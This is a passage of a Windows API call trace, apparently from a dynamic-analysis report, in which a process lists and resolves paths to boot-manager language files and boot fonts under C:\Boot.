ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.790] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0121.790] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0121.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.790] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0121.790] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\", lpFilePart=0x0) returned 0xe [0121.791] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.792] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.792] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.792] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.793] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.793] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0121.793] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\", lpFilePart=0x0) returned 0xe [0121.793] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.794] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.794] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.794] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0121.794] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\", lpFilePart=0x0) returned 0xe [0121.795] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.795] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.795] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.796] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.796] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.797] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0121.797] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\", lpFilePart=0x0) returned 0xe [0121.797] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.797] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.797] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.798] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x0) returned 0xd [0121.798] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\", lpFilePart=0x0) returned 0xe [0121.798] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4652ea0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4652ea0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.798] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0121.799] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45223a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd45223a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0121.799] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45947c0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd45947c0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0121.799] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4606be0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4606be0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0121.799] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4652ea0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4652ea0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0121.799] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.799] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\chs_boot.ttf", lpFilePart=0x0) returned 0x1a [0121.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.800] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\chs_boot.ttf", lpFilePart=0x0) returned 0x1a [0121.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.800] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\cht_boot.ttf", lpFilePart=0x0) returned 0x1a [0121.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.802] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\cht_boot.ttf", lpFilePart=0x0) returned 0x1a [0121.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.802] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\jpn_boot.ttf", lpFilePart=0x0) returned 0x1a [0121.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.803] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\jpn_boot.ttf", lpFilePart=0x0) returned 0x1a [0121.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.803] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\kor_boot.ttf", lpFilePart=0x0) returned 0x1a [0121.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.804] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\kor_boot.ttf", lpFilePart=0x0) returned 0x1a [0121.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.804] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\wgl4_boot.ttf", lpFilePart=0x0) returned 0x1b [0121.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.804] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\wgl4_boot.ttf", lpFilePart=0x0) returned 0x1b [0121.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.805] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x0) returned 0xd [0121.805] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\", lpFilePart=0x0) returned 0xe [0121.805] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4652ea0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4652ea0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.805] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0121.805] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45223a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd45223a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0121.806] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45947c0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd45947c0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0121.806] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4606be0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4606be0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0121.806] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4652ea0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4652ea0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0121.806] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4652ea0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4652ea0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0121.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 